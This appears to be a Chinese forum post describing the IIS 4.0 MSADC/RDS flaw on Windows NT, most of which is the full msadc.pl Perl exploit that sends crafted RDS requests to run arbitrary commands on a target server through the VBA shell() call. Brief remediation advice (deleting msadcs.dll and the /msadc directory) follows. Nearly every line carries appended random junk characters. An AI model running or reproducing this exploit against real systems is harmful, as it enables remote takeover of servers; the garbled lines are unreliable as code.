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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l]t^MEoc8  
e8:O2!HW  
涉及程序: @44*<!da  
Microsoft NT server jG& 8`*|*  
:iE`=( o  
描述: ~Hg*vCd ?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /5epDDP-t5  
@sZ' --Y  
详细: %1GKN|7  
如果你没有时间读详细内容的话,就删除: r+#g  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]Y->EME:W  
有关的安全问题就没有了。 :TKx>~`  
Uh1UZ r  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ';.y`{/  
Q (gA:aQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (NfB+Ue}  
关于利用ODBC远程漏洞的描述,请参看: #7:ah  
"9hD4R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ji=`XsV  
mrKIiaU<J  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ${ DSH  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp k'e1ZAn  
]0(ZlpT  
这里不再论述。 wpQp1){%Q  
?=_w5D.3J  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: =1!.g"0  
wM;=^br  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9|@5eN:N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /&@q*L  
;F%EW`7  
B2_fCSlg  
#将下面这段保存为txt文件,然后: "perl -x 文件名" h;#^?v!+  
(+zU!9}I1  
#!perl j3+ hsA/(k  
# ;.$vDin6  
# MSADC/RDS 'usage' (aka exploit) script \>.[QQVI"l  
# V5 9Vf[i|  
# by rain.forest.puppy )`W|J%w+  
# 6Qz=g t%I=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me [?,+DY  
# beta test and find errors! #\xy,C'Y  
3FO-9H  
use Socket; use Getopt::Std; ,|zwY~l t5  
getopts("e:vd:h:XR", \%args); Dcs O~mg  
#-"C_~-MH  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Edcv>}PfE  
j2:9ahW  
if (!defined $args{h} && !defined $args{R}) { Aq'~'hS`1  
print qq~ kxAT  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ehe#"exCB  
-h <host> = host you want to scan (ip or domain) n1R{[\ >1  
-d <seconds> = delay between calls, default 1 second w9gfva$&  
-X = dump Index Server path table, if available (otD4VR_  
-v = verbose T|(w-)mv  
-e = external dictionary file for step 5 y6G6wk;  
O_ $zK  
Or a -R will resume a command session Yyw3+3  
j#p3<V S4  
~; exit;} ^foCcO  
DI-CC[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4QiV@#o:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .ubZ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} pf yJL?_%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 2Mw`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} hHOx ]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } JV !F<  
EQHCw<e  
if (!defined $args{R}){ $ret = &has_msadc; G-vkkNj%e  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &f)pU>Di  
G/(tgQ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ne1W!0YLK  
. "cmd /c "; aE:$ N#|Qa  
$in=<STDIN>; chomp $in; Wn2J]BH  
$command="cmd /c " . $in ; ka_R|x G\  
dg0WH_#  
if (defined $args{R}) {&load; exit;} H~ >\HV*  
Tz\v.&? $  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Nh4&3"g|  
&try_btcustmr; CzDg?wb  
FiXE0ZI$0q  
print "\nStep 2: Trying to make our own DSN..."; 'auYmX  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Yfz`or\@=  
^8?px&B y:  
print "\nStep 3: Trying known DSNs..."; (ze9-!%  
&known_dsn; K)n058PO  
SU~ljAF4  
print "\nStep 4: Trying known .mdbs..."; {G|= pM\'  
&known_mdb; H:16aaMn(  
6mIRa(6V  
if (defined $args{e}){ f{(D+7e}  
print "\nStep 5: Trying dictionary of DSN names..."; J~ z00p`E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 69odE+-X.  
o6 :]Hvqjr  
print "Sorry Charley...maybe next time?\n"; ~ sWXd~\  
exit; zrC1/%T  
oHu7<r  
############################################################################## 2,h]Y=.s  
 [cfXcl  
sub sendraw { # ripped and modded from whisker ,x[~|J!  
sleep($delay); # it's a DoS on the server! At least on mine... X:(t,g*7  
my ($pstr)=@_; iE ,"YCK  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P}!pmg6V  
die("Socket problems\n"); /(}YjeS  
if(connect(S,pack "SnA4x8",2,80,$target)){ NZXCaciG  
select(S); $|=1; g- INhzMu  
print $pstr; my @in=<S>; 7Mh!@Rd_V  
select(STDOUT); close(S); R!x /,6,_  
return @in; PnI_W84z  
} else { die("Can't connect...\n"); }} s|:j~>53  
Orlf5 {P  
############################################################################## Cv`dK=n>  
Z?eedVV@  
sub make_header { # make the HTTP request 0o 8V8 :  
my $msadc=<<EOT a3 t||@v!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 9}G<\y  
User-Agent: ACTIVEDATA Qb86*  
Host: $ip \@ N[  
Content-Length: $clen 3X`N~_+  
Connection: Keep-Alive axkNy}ct  
-e+im(2D=  
ADCClientVersion:01.06 {]7lh#M  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 7;sF0oB5e  
^|cax| >  
--!ADM!ROX!YOUR!WORLD! 4%SA%]a L1  
Content-Type: application/x-varg ^/$U(4  
Content-Length: $reqlen 2(9~G|C.  
?y[i6yN9  
EOT 4(8BWP~.y2  
; $msadc=~s/\n/\r\n/g; '@5"p.  
return $msadc;} {'+.?g  
M(Yt9}Z%Y  
############################################################################## vH"^a/95|  
nc#} \  
sub make_req { # make the RDS request M&rbXi.  
my ($switch, $p1, $p2)=@_; FJ|JXH*  
my $req=""; my $t1, $t2, $query, $dsn; Yjx4H  
?ViU%t8J5  
if ($switch==1){ # this is the btcustmr.mdb query 'FG@Rg (  
$query="Select * from Customers where City=" . make_shell(); :*tFW~<*b  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Uee$5a>(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} msZ 3%L  
~8lB#NuN  
elsif ($switch==2){ # this is general make table query m{ rsjdnA  
$query="create table AZZ (B int, C varchar(10))"; W3B:)<f  
$dsn="$p1";} p$XvVzW#<  
0P4g6t}e  
elsif ($switch==3){ # this is general exploit table query d!4:nvKx  
$query="select * from AZZ where C=" . make_shell(); DC'L-]#<  
$dsn="$p1";} 9u_D@A"aC`  
lMjeq.5nP  
elsif ($switch==4){ # attempt to hork file info from index server U/{#~P5s  
$query="select path from scope()"; IG8I<+<o  
$dsn="Provider=MSIDXS;";} w.-J2%J   
A4TW`g_zm  
elsif ($switch==5){ # bad query x0dBg~I  
$query="select"; CYhSCT!-?  
$dsn="$p1";} 6{[ uCxxl  
BIjkW.uf  
$t1= make_unicode($query); $< .wQ8:Q  
$t2= make_unicode($dsn); Mg\8m-L^  
$req = "\x02\x00\x03\x00"; G,@ Jo[e  
$req.= "\x08\x00" . pack ("S1", length($t1)); /+?eSgM/  
$req.= "\x00\x00" . $t1 ; kclZ+E  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y\9zjewc  
$req.= "\x00\x00" . $t2 ; ?Pt*4NaT;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; (ZD~Q_O-  
return $req;} ~Z ;.n p(T  
p3cb_  
############################################################################## 1Zgv+.  
%Lfy!]Ru  
sub make_shell { # this makes the shell() statement 34aSRFsk*  
return "'|shell(\"$command\")|'";} j =PM]  
6LzN#g  
############################################################################## g_(O7  
W!b'nRkq  
sub make_unicode { # quick little function to convert to unicode ,+'VQa"]  
my ($in)=@_; my $out; -^$IjK-N  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } < _ <?p&  
return $out;} \|R\pS}4  
O _^Y*!  
############################################################################## I=4G+h5p  
cg}lF9;d  
sub rdo_success { # checks for RDO return success (this is kludge) 6oq/\D$6~  
my (@in) = @_; my $base=content_start(@in); >u?a#5R:m  
if($in[$base]=~/multipart\/mixed/){ 81S0:=   
return 1 if( $in[$base+10]=~/^\x09\x00/ );} L&Pj0K-HT3  
return 0;} -dH]_  
V`"Cd?R0Z  
############################################################################## d+IN-lR(  
#9]O92t2UV  
sub make_dsn { # this makes a DSN for us < *db%{  
my @drives=("c","d","e","f"); F<Z13]|  
print "\nMaking DSN: "; i dY Xv)R  
foreach $drive (@drives) { +-MieiKv  
print "$drive: "; _>Oc> .MB  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qGECw#  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" iY3TB|tMt  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ak,T{;rD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; wl%I(Cw{]  
return 0 if $2 eq "404"; # not found/doesn't exist 9_J'P2e  
if($2 eq "200") { d@+u&xrd  
foreach $line (@results) { *XluVochrb  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} NV;T*I8O  
} return 0;} L=kETJ:g  
$`"$ZI6[  
############################################################################## )$QZ",&5  
NxN~"bfh  
sub verify_exists { {:`XhPS<B  
my ($page)=@_; YZ/2 :[b  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 'F Cmbry  
return $results[0];} )bK3%>H#  
}ykc AK3U  
############################################################################## Y?JB%%WWI  
X "Q\MLy  
sub try_btcustmr { $&. rS.*  
my @drives=("c","d","e","f"); p!+bn,?G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); W$Z8AZ{E  
Ca#T?HL  
foreach $dir (@dirs) { &*o{-kw  
print "$dir -> "; # fun status so you can see progress Qsr+f~"W  
foreach $drive (@drives) { (bGk=q=M  
print "$drive: "; # ditto #c`/ f6z  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; u~1 ,88&U  
$reqlenlen=length( "$reqlen" ); .N  Z  
$clen= 206 + $reqlenlen + $reqlen; eZmwF@  
kwrM3nq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *~8g:;u  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]oyWJ#8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} >$;,1N $bd  
opon "{  
############################################################################## lLNI5C  
QzV%m0  
sub odbc_error { ZEG~ek=jM  
my (@in)=@_; my $base; hGU 3DKHT  
my $base = content_start(@in); .}iRe}=  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this <l$ vnq  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; co>IJzg  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *:Y9&s^6j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 256V xn  
return $in[$base+4].$in[$base+5].$in[$base+6];} QTjnXg?Ri  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; U ]O>DM^'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rh6 e  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} gmtS3,  
K,@} 'N  
############################################################################## C@@PLsMg  
!>6`+$=U  
sub verbose { \r- v]]_<d  
my ($in)=@_; \N)!]jq  
return if !$verbose; ]N6UY  
print STDOUT "\n$in\n";} fq !CB]C  
-hZw.eChQa  
############################################################################## ]t_ Wl1*|  
Y|-:z@n6C  
sub save { |uM(A~?  
my ($p1, $p2, $p3, $p4)=@_; Fuo.8  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,gIeQ!+vy  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; OwLJS5r@<-  
close OUT;} fTd":F  
C0H@  
############################################################################## WM GiV  
)T'~F  
sub load { mJME1#j$/|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7}vx]p2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;tfGhHpQn  
@p=<IN>; close(IN); @Zfg]L{Lr  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6\6g-1B`  
$target= inet_aton($ip) || die("inet_aton problems"); ]NY^0SqM  
print "Resuming to $ip ..."; ~?KbpB|  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Lcf]  
if($p[1]==1) { P7;q^jlB  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "QM2YJ55m`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; t[\6/`YH  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9&1$\ZH  
if (rdo_success(@results)){print "Success!\n";} f!JSb?#3  
else { print "failed\n"; verbose(odbc_error(@results));}} oX?~  
elsif ($p[1]==3){ gg$:U  
if(run_query("$p[3]")){ Q,R|VI6Co  
print "Success!\n";} else { print "failed\n"; }} M&0U@ r-  
elsif ($p[1]==4){ [m9=e-KS$Q  
if(run_query($drvst . "$p[3]")){ /B5rWJ2AS  
print "Success!\n"; } else { print "failed\n"; }} +l>X Z  
exit;} e(jD[q  
"_ON0._(/  
############################################################################## z#+Sf.  
W ZW:q  
sub create_table { pB,l t6  
my ($in)=@_; +(oExp(!  
$reqlen=length( make_req(2,$in,"") ) - 28; &}VVr  
$reqlenlen=length( "$reqlen" ); ,UneS  
$clen= 206 + $reqlenlen + $reqlen; q5>!.v   
my @results=sendraw(make_header() . make_req(2,$in,"")); |6~ Kin  
return 1 if rdo_success(@results); ^aY,Wq  
my $temp= odbc_error(@results); verbose($temp); }\vw>iHPX@  
return 1 if $temp=~/Table 'AZZ' already exists/; Gvqu v\  
return 0;} %`]fZr A]#  
K#]FUUnj=  
############################################################################## Wfh+D[^  
/rv=ml pRL  
sub known_dsn { >S:+&VN`M  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go oC(.u?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", RHuc#b0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Enqs|fkbN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cd)}a_9  
{$v>3FG  
foreach $dSn (@dsns) { }*vO&J@z  
print "."; _sF Ad`  
next if (!is_access("DSN=$dSn")); 0#/Pc`z C  
if(create_table("DSN=$dSn")){ H@`lM~T[  
print "$dSn successful\n"; ePTN^#|W  
if(run_query("DSN=$dSn")){ ]u"x=S93  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yH.Z%*=xQa  
print "Something's borked. Use verbose next time\n";}}} print "\n";} w,zm!  
&H?Vlx Ix  
############################################################################## &e5,\TQ  
P(i E"KH;  
sub is_access { 'UB"z{w%  
my ($in)=@_; [<VyH.  
$reqlen=length( make_req(5,$in,"") ) - 28; g HKA:j`c  
$reqlenlen=length( "$reqlen" ); -m Sf`1l0  
$clen= 206 + $reqlenlen + $reqlen; [.>g.p,;  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1yjP`N  
my $temp= odbc_error(@results); DK(8Ml:k  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `B7?F$J  
return 0;} ZnD(RM  
i{k v$ir!  
############################################################################## 1f0maN  
XF99h&;9  
sub run_query { UsdUMt!u  
my ($in)=@_; l"9$lF}  
$reqlen=length( make_req(3,$in,"") ) - 28; uar[D|DcD"  
$reqlenlen=length( "$reqlen" ); -FQS5Zb.!  
$clen= 206 + $reqlenlen + $reqlen; DcEGIaW  
my @results=sendraw(make_header() . make_req(3,$in,"")); _cQhT  
return 1 if rdo_success(@results); 9f$3{ g{m  
my $temp= odbc_error(@results); verbose($temp); {EVHkQ+o  
return 0;} xd]7?L@h.I  
_ Zzne  
############################################################################## .< -~k@ P  
x$6FvgP(  
sub known_mdb { cDh\$7'b  
my @drives=("c","d","e","f","g"); J24H}^~na  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wyv%c/WlS  
my $dir, $drive, $mdb; G/V0Yn""  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /4,U@s)"/  
pe-%`1iC0>  
# this is sparse, because I don't know of many XI;F=r}'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :47"c3J  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", O\^D 6\ v  
"\\system32\\certmdb.mdb", OZE.T-{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% E# *`u  
dlc'=M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", c.h_&~0qf  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .,gVquqMY  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :/i13FQ  
"\\cfusion\\cfapps\\security\\realm_.mdb", sW!MVv  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $>=w<=r|;  
"\\cfusion\\database\\cfexamples.mdb", zWf(zxGAz  
"\\cfusion\\database\\cfsnippets.mdb", Ms=11C  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -A1:S'aN-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  fG|+ !  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  Rlx  
"\\cfusion\\database\\smpolicy.mdb", KL8WT6!RZ  
"\\cfusion\\database\cypress.mdb", qnf\K}   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", bs_rw+  
"\\website\\cgi-win\\dbsample.mdb", (.~'\@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =B ts  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" j9 &0/ ~/  
); #these are just D0 rqte  
foreach $drive (@drives) { &Y$)s<u8.  
foreach $dir (@dirs){ KPdlg.  
foreach $mdb (@sysmdbs) { $ Bdxu  
print "."; @v n%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _Uu p*#m  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >I9|N}I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ q%wF=<W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z. xRJ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1DM$FG_Z-  
^%Fn|U\u  
foreach $drive (@drives) { 7dXh,sD  
foreach $mdb (@mdbs) { luV_  
print "."; n_-k <3  
if(create_table($drv . $drive . $dir . $mdb)){ Y~I6ee,\  
print "\n" . $drive . $dir . $mdb . " successful\n"; =8x-+u5}rK  
if(run_query($drv . $drive . $dir . $mdb)){ t}Kzh`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  h]?[}&  
} else { print "Something's borked. Use verbose next time\n"; }}}} ((tWgSZ3  
} qN6GLx%  
Oa -~}hN  
############################################################################## lK #~lC  
2%t!3F:  
sub hork_idx { vmT6^G  
print "\nAttempting to dump Index Server tables...\n"; 2Jn?'76`  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; f'B#h;`  
$reqlen=length( make_req(4,"","") ) - 28; LrnE6 U9  
$reqlenlen=length( "$reqlen" ); D}EH9d  
$clen= 206 + $reqlenlen + $reqlen; \t]aBT,  
my @results=sendraw2(make_header() . make_req(4,"","")); "'mr0G9X  
if (rdo_success(@results)){ _tVrLb7`s  
my $max=@results; my $c; my %d; ]=m0@JTbG  
for($c=19; $c<$max; $c++){ +ZeK,Y+Xy  
$results[$c]=~s/\x00//g; !6{b)P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &3'zG)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?1lx8+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N;XJMk_ H  
$d{"$1$2"}="";} |NaEXzo|qY  
foreach $c (keys %d){ print "$c\n"; } EO \@#",a  
} else {print "Index server doesn't seem to be installed.\n"; }}  Fs1ms)  
Gm'Ch}E  
############################################################################## B,RHFlp{  
~n!7 ?4%U  
sub dsn_dict { !8Q9RnGn  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (1?k_!)T  
while(<IN>){ CiC@Z,ud`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,v*<yz/  
next if (!is_access("DSN=$dSn")); ED R*1!d  
if(create_table("DSN=$dSn")){ =/F\_/Xw  
print "$dSn successful\n"; 8:4`q 9  
if(run_query("DSN=$dSn")){ C$fQ[@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qAR}D~t  
print "Something's borked. Use verbose next time\n";}}} XX'Rv]T  
print "\n"; close(IN);} K iG/XnS  
[[d@P%X&  
############################################################################## qVmG"et'J  
5}_DyoV  
sub sendraw2 { # ripped and modded from whisker &|) (lX  
sleep($delay); # it's a DoS on the server! At least on mine... WJ(E3bb  
my ($pstr)=@_; Vr%!rQ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || cy4V*zwp  
die("Socket problems\n"); fIcra  
if(connect(S,pack "SnA4x8",2,80,$target)){ X P_ V  
print "Connected. Getting data"; n{r _Xa  
open(OUT,">raw.out"); my @in; 0P6< 4  
select(S); $|=1; print $pstr; e+>&? x  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} E| =~rIKN  
close(OUT); select(STDOUT); close(S); return @in;  p(Bn!  
} else { die("Can't connect...\n"); }} RVb}R<yU+  
Z  )dz  
############################################################################## &li&P5!i  
,c'a+NQ_t  
sub content_start { # this will take in the server headers ](H vx  
my (@in)=@_; my $c; B%d2tsDw  
for ($c=1;$c<500;$c++) { 7U{g'<  
if($in[$c] =~/^\x0d\x0a/){ [!E~pW%|n  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;yK:.Vg  
else { return $c+1; }}} Z]I yj 97  
return -1;} # it should never get here actually OM 5h>\9  
haMt2S2_B:  
############################################################################## za@`,Yq  
{BKr/) H  
sub funky { ;'J{ylRQ  
my (@in)=@_; my $error=odbc_error(@in); 9oA.!4q  
if($error=~/ADO could not find the specified provider/){ XDi[Iyj  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ZICcZG_y  
exit;} {,rVA(I@  
if($error=~/A Handler is required/){ Nm]\0m0p-  
print "\nServer has custom handler filters (they most likely are patched)\n"; kKg%[zXS  
exit;} SZQ4e  
if($error=~/specified Handler has denied Access/){ )51H\o  
print "\nServer has custom handler filters (they most likely are patched)\n"; )q+9_KU q  
exit;}} xkzC+ _A  
bbO1`b-  
############################################################################## N/fH%AtM  
t'0dyQ%u  
sub has_msadc { `[5QouPV  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); sj?7}(s  
my $base=content_start(@results); &Kgl\;}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 5=--+8[ bV  
return 0;} lj!f\C}d  
H|iY<7@  
######################## g+98G8 R  
?5L.]Isa5  
[1*3 kt*h  
解决方案: Fv6<Cz6L  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )gR !G]Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L)o7~M  
-v(.]`Wo&;  
拿出来充数 哈哈
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